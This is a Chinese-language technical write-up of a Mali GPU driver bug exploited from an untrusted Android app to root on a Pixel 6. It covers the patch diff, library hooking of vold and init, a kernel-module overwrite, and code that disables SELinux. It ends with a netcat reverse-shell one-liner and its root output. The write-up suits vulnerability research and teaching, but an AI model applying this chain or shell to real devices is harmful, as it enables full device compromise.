漏洞概述
想象一下从第三方应用商店下载一个游戏。你授予它看似无害的权限,但隐藏在应用中的恶意漏洞利用程序可以让攻击者窃取你的照片、窃听你的对话,甚至完全控制你的设备。这就是像CVE-2022-22706和CVE-2021-39793这样的漏洞所带来的威胁,我们将在本文中深入分析这些漏洞。这些漏洞影响许多安卓设备中常见的Mali GPU,允许非特权应用获取root访问权限。
受影响产品
| 产品 |
Mali GPU内核驱动 |
| 厂商 |
ARM |
| 严重性 |
高危 - 非特权用户可以获取对只读内存页的写入访问权限 |
| 受影响版本 |
- Midgard GPU内核驱动:r26p0 - r31p0所有版本 - Bifrost GPU内核驱动:r0p0 - r35p0所有版本 - Valhall GPU内核驱动:r19p0 - r35p0所有版本 |
| 测试版本 |
- Pixel 6, MP1.0, 2022 - 降级到Android 12.0.0 (SD1A.210817.015.A4, 2021年10月) - Linux localhost 5.10.43-android12-9-00002-g4fb696975cdd-ab7658202 #1 SMP PREEMPT Thu Aug 19 00:59:56 UTC 2021 aarch64 |
| CWE |
CWE-119:内存缓冲区边界内操作限制不当 |
CVSS3.1评分
基础分数:7.8(高危)
向量字符串:CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Termux
此Termux输出显示了漏洞利用的上下文,从非特权不受信任的应用上下文运行。
1
2
3
4
|
~ $ cat /proc/self/attr/current
u:r:untrusted_app_27:s0:c222,c256,c512,c768
~ $ id
uid=10222(u0_a222) gid=10222(u0_a222) groups=10222(u0_a222),3003(inet),9997(everybody),20222(u0_a222_cache),50222(all_a222)
|
根本原因分析
我们在Mali GPU内核驱动的kbase_jd_user_buf_pin_pages()函数中发现了一个关键漏洞。这个函数至关重要:它管理GPU如何访问内存,准备用户提供的内存缓冲区,并(理论上)确保应用具有正确的权限(读取或写入)。
查看补丁变更列表,问题变得清晰。漏洞在于kbase_jd_user_buf_pin_pages()检查这些权限的方式。关键在于KBASE_REG_GPU_WR(GPU写入)和KBASE_REG_CPU_WR(CPU写入)标志——它们告诉驱动程序需要什么类型的访问权限。应用应该需要同时设置这两个标志才能获得GPU写入访问权限,但代码只检查KBASE_REG_GPU_WR标志,留下了一个巨大的安全漏洞。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
|
@@ -1,7 +1,7 @@
// SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note
/*
*
- * (C) COPYRIGHT 2010-2021 ARM Limited. All rights reserved.
+ * (C) COPYRIGHT 2010-2022 ARM Limited. All rights reserved.
*
* This program is free software and is provided to you under the terms of the
* GNU General Public License version 2 as published by the Free Software
@@ -1683,7 +1683,8 @@
/* The allocation could still have active mappings. */
if (user_buf->current_mapping_usage_count == 0) {
kbase_jd_user_buf_unmap(kctx, reg->gpu_alloc,
- (reg->flags & KBASE_REG_GPU_WR));
+ (reg->flags & (KBASE_REG_CPU_WR |
+ KBASE_REG_GPU_WR)));
}
}
}
@@ -4561,6 +4562,7 @@
struct mm_struct *mm = alloc->imported.user_buf.mm;
long pinned_pages;
long i;
+ int write;
if (WARN_ON(alloc->type != KBASE_MEM_TYPE_IMPORTED_USER_BUF))
return -EINVAL;
@@ -4575,41 +4577,37 @@
if (WARN_ON(reg->gpu_alloc->imported.user_buf.mm != current->mm))
return -EINVAL;
+ write = reg->flags & (KBASE_REG_CPU_WR | KBASE_REG_GPU_WR);
+
#if KERNEL_VERSION(4, 6, 0) > LINUX_VERSION_CODE
- pinned_pages = get_user_pages(NULL, mm,
- address,
- alloc->imported.user_buf.nr_pages,
+ pinned_pages = get_user_pages(
+ NULL, mm, address,
+ alloc->imported.user_buf.nr_pages,
#if KERNEL_VERSION(4, 4, 168) <= LINUX_VERSION_CODE && \
KERNEL_VERSION(4, 5, 0) > LINUX_VERSION_CODE
- reg->flags & KBASE_REG_GPU_WR ? FOLL_WRITE : 0,
- pages, NULL);
+ write ? FOLL_WRITE : 0, pages, NULL);
#else
- reg->flags & KBASE_REG_GPU_WR,
- 0, pages, NULL);
+ write, 0, pages, NULL);
#endif
#elif KERNEL_VERSION(4, 9, 0) > LINUX_VERSION_CODE
- pinned_pages = get_user_pages_remote(NULL, mm,
- address,
- alloc->imported.user_buf.nr_pages,
- reg->flags & KBASE_REG_GPU_WR,
- 0, pages, NULL);
+ pinned_pages = get_user_pages_remote(
+ NULL, mm,
+ address, alloc->imported.user_buf.nr_pages,
+ write, 0, pages, NULL);
#elif KERNEL_VERSION(4, 10, 0) > LINUX_VERSION_CODE
- pinned_pages = get_user_pages_remote(NULL, mm,
- address,
- alloc->imported.user_buf.nr_pages,
- reg->flags & KBASE_REG_GPU_WR ? FOLL_WRITE : 0,
- pages, NULL);
+ pinned_pages = get_user_pages_remote(
+ NULL, mm,
+ address, alloc->imported.user_buf.nr_pages,
+ write ? FOLL_WRITE : 0, pages, NULL);
#elif KERNEL_VERSION(5, 9, 0) > LINUX_VERSION_CODE
- pinned_pages = get_user_pages_remote(NULL, mm,
- address,
- alloc->imported.user_buf.nr_pages,
- reg->flags & KBASE_REG_GPU_WR ? FOLL_WRITE : 0,
- pages, NULL, NULL);
+ pinned_pages = get_user_pages_remote(
+ NULL, mm,
+ address, alloc->imported.user_buf.nr_pages,
+ write ? FOLL_WRITE : 0, pages, NULL, NULL);
#else
pinned_pages = pin_user_pages_remote(
mm, address, alloc->imported.user_buf.nr_pages,
- reg->flags & KBASE_REG_GPU_WR ? FOLL_WRITE : 0, pages, NULL,
- NULL);
+ write ? FOLL_WRITE : 0, pages, NULL, NULL);
#endif
if (pinned_pages <= 0)
@@ -4843,7 +4841,7 @@
kbase_reg_current_backed_size(reg),
kctx->as_nr);
- if (reg && ((reg->flags & KBASE_REG_GPU_WR) == 0))
+ if (reg && ((reg->flags & (KBASE_REG_CPU_WR | KBASE_REG_GPU_WR)) == 0))
writeable = false;
kbase_jd_user_buf_unmap(kctx, alloc, writeable);
|
补丁显示了问题的核心。如果设置了KBASE_REG_GPU_WR但没有设置KBASE_REG_CPU_WR,就会设置FOLL_WRITE标志。这是不正确的。它应该只在两个标志都设置时才被设置。由于这个疏忽,恶意应用可以请求CPU写入访问权限(通过设置KBASE_REG_CPU_WR),而不需要所需的GPU写入访问权限(KBASE_REG_GPU_WR)。这允许应用绕过预期的安全检查,获取对不应该被允许修改的内存的写入访问权限。这种写入只读内存的能力是其余漏洞利用所依赖的基本原语。它允许攻击者将恶意代码注入特权进程,并最终获取root访问权限。
触发漏洞
通过利用此漏洞,我们可以强制Mali驱动程序授予对只读内存区域的写入权限。以下步骤概述了漏洞利用过程:
- 分配读写内存页:我们首先分配一个具有读写权限的内存页。
- 使用KBASE_REG_CPU_WR导入映射(不使用KBASE_REG_GPU_WR):由于驱动程序中缺少检查,这会无意中授予GPU写入访问权限。
- 将导入的缓冲区映射到GPU VA空间:缓冲区被分配GPU地址空间中的虚拟地址。
- 取消映射原始读写映射:然后移除原始映射。
- 使用只读页重新映射相同地址:这导致CPU将页面视为只读,而GPU保留写入访问权限。
- 提交具有GPU VA映射的GPU作业,使用BASE_JD_REQ_EXTERNAL_RESOURCES:这会触发易受攻击的函数
kbase_jd_user_buf_pin_pages(),实现对只读内存的写入。
此时,我们可以通过利用来自用户空间的GPU VA映射来修改从CPU角度应该是只读的内存页。
利用原语
能力:能够写入文件的只读内存页。
影响:
- 文件的修改内存页被缓存在内存中供其他进程使用
- 修改不会保存到磁盘
先决条件:
- 能够打开和读取目标文件
- 在gpu_device上使用ioctl、read和write的权限
通过将钩子和有效负载注入只读共享库,我们可以操纵特权进程(如init)中的执行流。由于所有域都可以读取system_lib_file类型的文件,这种技术具有广泛适用性:
1
2
3
4
5
|
oriole:/data/local/tmp $ ./sesearch policy -A -t system_lib_file
Found 3 semantic av rules:
allow domain system_lib_file : lnk_file { read getattr open } ;
allow domain system_lib_file : file { read getattr map execute open } ;
allow domain system_lib_file : dir { ioctl read getattr lock open watch watch_reads search } ;
|
然而,并非所有域都可以在gpu_device上调用ioctl、read和write。幸运的是,低特权域如shell和untrusted_app被允许这样做:
1
2
3
4
5
|
allow shell gpu_device:chr_file { append getattr ioctl lock map open read watch watch_reads write };
allow untrusted_app gpu_device:chr_file { append getattr ioctl lock map open read watch watch_reads write };
allow untrusted_app_25 gpu_device:chr_file { append getattr ioctl lock map open read watch watch_reads write };
allow untrusted_app_27 gpu_device:chr_file { append getattr ioctl lock map open read watch watch_reads write };
allow untrusted_app_29 gpu_device:chr_file { append getattr ioctl lock map open read watch watch_reads write };
|
这使得能够通过system_lib_file修改从shell和untrusted_app劫持特权进程。
攻击策略:Root反向Shell
目标:从untrusted_app_27提升权限获取root反向shell。
挑战:绕过SELinux强制执行。
解决方案:加载任意内核模块。
首先,我们使用位于/sys/fs/selinux/policy的设备SELinux策略识别具有module_load权限的域:
1
2
3
4
5
|
oriole:/data/local/tmp $ ./sesearch policy -A -p module_load | grep -v magisk
Found 168 semantic av rules:
allow ueventd vendor_file : system module_load ;
allow init-insmod-sh vendor_kernel_modules : system module_load ;
allow vendor_modprobe vendor_file : system module_load ;
|
其中,只有init-insmod-sh具有自动类型转换,它是目标:
1
|
type_transition init init-insmod-sh_exec : process init-insmod-sh;
|
由于init-insmod-sh可以通过运行init-insmod-sh_exec类型的文件来执行,我们在设备上定位相关的可执行文件(/vendor/bin/init.insmod.sh)。
通过init劫持提升到Root
为了实现完整的系统入侵,我们以init进程为目标。init在do_epoll_wait中运行两个线程,使其成为可行的攻击向量:
1
2
3
|
LABEL USER PID TID PPID VSZ RSS WCHAN ADDR S CMD
u:r:init:s0 root 1 1 0 10917568 5452 do_epoll_wait 0 S init
u:r:init:s0 root 1 372 0 10917568 5452 do_epoll_wait 0 S init
|
其中一个线程是主线程,另一个是PropertyServiceThread,它从SecondStageMain中的StartPropertyService生成。通过以这些线程中的任何一个为目标,我们可以潜在地利用init进程获得进一步控制。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
void StartPropertyService(int* epoll_socket) {
...
if (auto result = CreateSocket(PROP_SERVICE_NAME, SOCK_STREAM | SOCK_CLOEXEC | SOCK_NONBLOCK,
false, 0666, 0, 0, {});
result.ok()) {
property_set_fd = *result;
} else {
...
}
listen(property_set_fd, 8);
auto new_thread = std::thread{PropertyServiceThread};
property_service_thread.swap(new_thread);
}
|
PropertyServiceThread在property_set_fd监听套接字上注册一个epoll处理程序,然后进入一个循环,在其中重复调用具有无限超时的epoll_wait。这创建了一个长寿命的阻塞操作,如果识别出适当的触发器或攻击向量,可以利用它来劫持线程的执行流。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
static void PropertyServiceThread() {
...
if (auto result = epoll.RegisterHandler(property_set_fd, handle_property_set_fd);
!result.ok()) {
...
}
...
while (true) {
auto pending_functions = epoll.Wait(std::nullopt);
...
}
}
Result<std::vector<std::shared_ptr<Epoll::Handler>>> Epoll::Wait(
std::optional<std::chrono::milliseconds> timeout) {
int timeout_ms = -1;
...
auto num_events = TEMP_FAILURE_RETRY(epoll_wait(epoll_fd_, ev, max_events, timeout_ms));
...
}
|
要唤醒此线程,我们可以使用任何有效的名称和值参数调用/system/bin/setprop。这将触发向套接字发送PROP_MSG_SETPROP2命令,导致epoll_wait返回并运行handle_property_set_fd。然后可以通过使用Mali写入来钩住handle_property_set_fd中调用的任何导入库函数来劫持init。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
static void handle_property_set_fd() {
...
int s = accept4(property_set_fd, nullptr, nullptr, SOCK_CLOEXEC);
...
SocketConnection socket(s, cr);
...
if (!socket.RecvUint32(&cmd, &timeout_ms)) {
...
}
switch (cmd) {
case PROP_MSG_SETPROP: {
...
}
case PROP_MSG_SETPROP2: {
...
if (!socket.RecvString(&name, &timeout_ms) ||
!socket.RecvString(&value, &timeout_ms)) {
...
}
...
uint32_t result = HandlePropertySet(name, value, source_context, cr, &socket, &error);
if (result != PROP_SUCCESS) {
LOG(ERROR) << "Unable to set property '" << name << "' from uid:" << cr.uid
<< " gid:" << cr.gid << " pid:" << cr.pid << ": " << error;
}
...
}
...
}
}
|
如果setprop缺乏足够的SELinux权限,CheckPermissions中的CheckMacPerms(由HandlePropertySet调用)将失败,触发LOG(ERROR),这又调用/system/lib64/libbase.so中的android::base::LogMessage::LogMessage。利用Mali写入原语,我们可以钩住这些导入函数之一来劫持执行并将权限提升到root。
LogMessage内部调用/system/lib64/libc++.so中的std::ios_base::init,我们可以钩住它来劫持init。
然而,对于untrusted_app,直接调用/system/bin/setprop来触发劫持是行不通的。虽然setprop的执行是允许的,但由于setprop实际上指向/system/bin/toolbox(类型toolbox_exec),不会有域转换,setprop将在untrusted_app的域中执行。在该域中,它无法触发与套接字的通信,因为SELinux策略:
1
2
3
4
5
6
7
|
allow untrusted_app toolbox_exec:file { execute execute_no_trans getattr ioctl lock map open read watch watch_reads };
avc: denied { write } for comm="setprop" name="property_service" dev="tmpfs" ino=361 scontext=u:r:untrusted_app_27:s0:c222,c256,c512,c768 tcontext=u:object_r:property_socket:s0 tclass=sock_file permissive=0
# Do not allow untrusted apps to connect to the property service
# or set properties. b/10243159
neverallow { all_untrusted_apps -mediaprovider } property_socket:sock_file write;
neverallow { all_untrusted_apps -mediaprovider } init:unix_stream_socket connectto;
neverallow { all_untrusted_apps -mediaprovider } property_type:property_service set;
|
SELinux策略阻止我们的不受信任应用程序直接与属性服务交互,这是通过/system/bin/setprop触发init劫持所必需的。为了规避这一点,我们利用Mali写入漏洞来劫持具有适当权限的域中的进程。
vold被确定为一个合适的目标。它在被授予对property_socket的写入权限和对toolbox_exec的执行权限的域中运行,后者被setprop使用。此外,vold以root用户身份运行并定期调用导入函数,允许我们注入钩子。具体目标是/system/lib64/libutils.so中的_ZNK7android7RefBase9decStrongEPKv函数。
一个关键的考虑因素是vold执行代码的频率。其30秒的间隔引入了潜在的延迟,最多30秒后我们的钩子才会被触发。servicemanager虽然运行在更快的5秒间隔,但呈现了不同的挑战。观察到它有时会执行缓存代码,即使在相应的库函数被钩住之后,使得这种方法不可靠。因此,尽管存在潜在延迟,vold被选为更一致(尽管较慢)的触发init劫持的方法。
覆盖供应商内核模块
建立了在init-insmod-sh上下文中执行代码的途径后,我们的下一个目标是注入恶意内核模块。关键的是,init-insmod-sh被限制只能加载vendor_kernel_modules类型的模块,如SELinux策略所强制执行的:
1
|
allow init-insmod-sh vendor_kernel_modules : system module_load ;
|
这些模块位于/vendor/lib/modules/*.ko,它们是指向/vendor_dlkm/lib/modules/*.ko的符号链接。vendor_kernel_modules类型还带有vendor_file_type属性:
1
2
|
# kernel modules
type vendor_kernel_modules, vendor_file_type, file_type;
|
这带来了挑战:我们的不受信任应用,即使具有Mali写入原语,也可能缺乏直接修改这些文件的权限。因此,我们需要利用另一个具有必要能力的进程。我们的策略是劫持一个既能与Mali驱动程序交互(用于写入)又能访问vendor_file_type类型文件的域中的进程。
hal_neuralnetworks_armnn成为一个合适的候选者。这个域满足我们的要求,并且重要的是,可以通过init的类型转换到达:
1
|
type_transition init hal_neuralnetworks_armnn_exec:process hal_neuralnetworks_armnn;
|
相关的可执行文件/vendor/bin/hw/android.hardware.neuralnetworks@1.3-service-armnn(类型hal_neuralnetworks_armnn_exec)是一个一次性CLI二进制文件。这是有利的,因为它只是执行并在没有提供特殊参数时退出,避免了创建持久的、可能冲突的后台服务。
为了在hal_neuralnetworks_armnn上下文中获得控制,我们再次使用Mali写入原语。这次,我们钩住/system/lib64/liblog.so中的__android_log_print函数。劫持此函数允许我们将任意代码注入hal_neuralnetworks_armnn进程,使我们能够将恶意内核模块有效负载写入目标/vendor_dlkm/lib/modules/*.ko位置。这种多阶段方法允许我们绕过SELinux限制并实现覆盖内核模块的目标。
加载内核模块
覆盖vendor_kernel_modules文件后的下一步是在init-insmod-sh中加载它们。
init通过执行/vendor/bin/init.insmod.sh转换到init-insmod-sh,并且这个shell脚本具有内置功能,当提供正确的配置文件参数时,使用/vendor/bin/modprobe加载/vendor/lib/modules/中的模块。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
#!/vendor/bin/sh
#############################################################
### init.insmod.cfg format: ###
### ----------------------------------------------------- ###
### [insmod|setprop|enable/moprobe|wait] [path|prop name] ###
### ... ###
#############################################################
modules_dir=
for f in /vendor/lib/modules/*/modules.dep /vendor/lib/modules/modules.dep; do
if [[ -f "$f" ]]; then
modules_dir="$(dirname "$f")"
break
fi
done
...
if [ $# -eq 1 ]; then
cfg_file=$1
else
...
fi
if [ -f $cfg_file ]; then
while IFS="|" read -r action arg
do
case $action in
...
"modprobe")
case ${arg} in
"-b *" | "-b")
arg="-b --all=${modules_dir}/modules.load" ;;
"*" | "")
arg="--all=${modules_dir}/modules.load" ;;
esac
modprobe -a -d "${modules_dir}" $arg ;;
...
esac
done < $cfg_file
fi
|
选择要覆盖和加载的内核模块需要仔细考虑。我们选择了/vendor/lib/modules/pktgen.ko,因为它是一个相对不重要的模块,并且关键的是,它当前未加载。这最小化了在漏洞利用期间破坏系统功能的风险。要指示/vendor/bin/init.insmod.sh加载此模块,我们需要提供一个包含行modprobe|pktgen\n的配置文件。
然而,SELinux带来了障碍。init-insmod-sh脚本被策略限制只能读取特定类型的文件,包括vendor_file_type。我们的不受信任应用,即使具有Mali写入能力,也不能直接在必要位置直接创建或修改此类型的文件。因此,我们利用hal_neuralnetworks_armnn进程(在先前步骤中已被劫持)来执行此操作。
我们确定/vendor/etc/modem/logging.conf作为覆盖的合适目标。此文件很小,似乎是非必需的,并且重要的是,它是vendor_configs_file类型,具有所需的vendor_file_type属性。相关的SELinux规则是:
1
2
3
|
allow init-insmod-sh vendor_file_type:file { execute getattr map open read };
# Default type for everything under /vendor/etc/
type vendor_configs_file, vendor_file_type, file_type;
|
在hal_neuralnetworks_armnn上下文中使用Mali写入原语,我们用modprobe|pktgen\n行覆盖了/vendor/etc/modem/logging.conf。随后,从init进程执行未修改的/vendor/bin/init.insmod.sh,提供修改后的/vendor/etc/modem/logging.conf文件作为参数,导致成功加载我们覆盖的/vendor/lib/modules/pktgen.ko模块。
绕过SELinux并获取Root反向Shell
随着恶意内核模块加载,我们现在可以禁用SELinux强制执行模式,这是实现完整系统入侵的关键步骤。这通过在加载的内核模块中将enforcing标志设置为false来完成:
1
|
WRITE_ONCE(selinux_state->enforcing, false);
|
为了确保完全解除SELinux约束,我们还刷新访问向量缓存(AVC):
1
|
avc_ss_reset(selinux_state->avc, 0);
|
成功禁用SELinux后,我们现在可以自由建立root反向shell。目标设备方便地包含了netcat(实际上是toybox的nc),我们可以用于此目的:
1
2
3
4
5
6
7
8
9
|
oriole:/ $ which nc
/system/bin/nc
oriole:/ $ ls -la /system/bin/nc
lrwxrwxrwx 1 root shell 6 2024-07-10 01:23 /system/bin/nc -> toybox
oriole:/ $ nc --help # Output from toybox nc
Toybox 0.8.4-android multicall binary: https://landley.net/toybox (see toybox --help)
usage: netcat [-46ELUlt] [-u] [-wpq #] [-s addr] {IPADDR PORTNUM|-f FILENAME|COMMAND...}
...
|
我们制作了一个简单的shell脚本来创建一个命名管道(/dev/_f)并将其与nc结合使用来建立反向shell:
1
2
|
#!/bin/sh
rm /dev/_f;mkfifo /dev/_f;cat /dev/_f|sh -i 2>&1|nc localhost 4444 >/dev/_f
|
这个脚本从我们的不受信任应用放到设备上,然后由被劫持的init进程执行。在我们的攻击机器上,我们使用ncat(或nc)设置一个监听器:
1
2
3
4
5
6
7
8
9
10
11
12
|
C:\ncat-portable-5.59BETA1>adb reverse tcp:4444 tcp:4444 # 将端口4444转发到设备
4444
C:\ncat-portable-5.59BETA1>ncat.exe -nlvp 4444 # 开始监听端口4444
Ncat: Version 5.59BETA1 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 127.0.0.1:52021.
sh: can't find tty fd: No such device or address # 常见消息,通常可忽略
sh: warning: won't have full job control # 也很常见
:/ # id # 验证root访问
uid=0(root) gid=0(root) groups=0(root),3009(readproc) context=u:r:toolbox:s0
:/ # getenforce # 确认SELinux已禁用
Permissive
|
输出清楚地表明我们已成功获取root反向shell,SELinux处于宽容模式。
漏洞利用执行:逐步分解
漏洞利用以精心编排的步骤序列展开,利用Mali写入漏洞劫持各种进程并最终获取root访问权限。该过程可以分解如下:
-
有效负载准备:不受信任的应用开始战略性地放置有效负载以供以后执行:
- 阶段3:写入
/system/lib64/libldacBT_enc.so。此有效负载将在后续阶段迁移以获得更多空间。
- 阶段2:写入
/system/lib64/liblog.so,以及用于劫持android.hardware.neuralnetworks@1.3-service-armnn的钩子。
- 阶段1:写入
/system/lib64/libc++.so,包括用于劫持init进程的钩子。
- 阶段0:写入
/system/lib64/libutils.so,包含用于劫持vold的钩子。此阶段设计为在30秒间隔后触发。
-
初始触发(vold劫持):当vold执行其常规函数时,触发libutils.so中的阶段0有效负载。然后此有效负载执行/system/bin/setprop来唤醒init进程。
-
阶段1执行(hal_neuralnetworks_armnn劫持):
- init中的阶段1有效负载执行
/vendor/bin/hw/android.hardware.neuralnetworks@1.3-service-armnn,将执行转换到hal_neuralnetworks_armnn上下文。
- 执行hal_neuralnetworks_armnn中的阶段2有效负载。它映射内存并将阶段3有效负载从
/system/lib64/libldacBT_enc.so迁移到此新分配的空间,为后续操作提供更多空间。
- 然后阶段3有效负载执行两个关键的Mali写入操作:
- 它用恶意内核模块代码覆盖
/vendor_dlkm/lib/modules/pktgen.ko。
- 它将配置文件内容(
modprobe|pktgen\n)写入/vendor/etc/modem/logging.conf。
-
信号和阶段4设置:阶段0有效负载向不受信任的应用发回信号,指示准备完成。不受信任的应用然后将阶段4有效负载(包含用于再次劫持init的钩子)写入/system/lib64/libc++.so。反向shell脚本写入/data/data/com.termux/_rev.sh。
-
最终触发和权限提升:阶段0有效负载再次执行/system/bin/setprop,为最终阶段唤醒init。
-
阶段4执行(SELinux绕过和反向shell):
- init中的阶段4有效负载使用
/vendor/etc/modem/logging.conf作为参数执行/vendor/bin/init.insmod.sh。
/vendor/bin/init.insmod.sh然后使用modprobe命令加载覆盖的/vendor_dlkm/lib/modules/pktgen.ko模块。此模块禁用SELinux。
- 最后,阶段4有效负载执行位于
/data/data/com.termux/_rev.sh的反向shell脚本,建立root反向shell连接。
这种多阶段方法允许漏洞利用绕过SELinux限制并从不受信任的应用实现root权限提升。每个阶段在设置下一个阶段中扮演关键角色,最终导致恶意内核模块的执行和root反向shell的建立。
结束语
Mali GPU驱动中的漏洞CVE-2022-22706和CVE-2021-39793提出了严重的安全问题,允许非特权用户写入只读内存页,可能实现权限提升和系统入侵。通过仔细利用这些缺陷,攻击者可以操纵内存并在关键系统进程(如init)中执行任意代码。通过结合SELinux绕过、针对性劫持易受攻击的进程和内核模块注入等技术,攻击者可以提升其权限并获得对受影响设备的完全控制。本文已演示了如何将这些漏洞链接在一起以实现完整的设备入侵,从不受信任的应用到root反向shell。核心漏洞,即缺少的KBASE_REG_CPU_WR检查,允许攻击者获得关键的写入访问权限。用户应确保其设备使用最新的安全补丁进行更新,以防范此类漏洞。
参考文献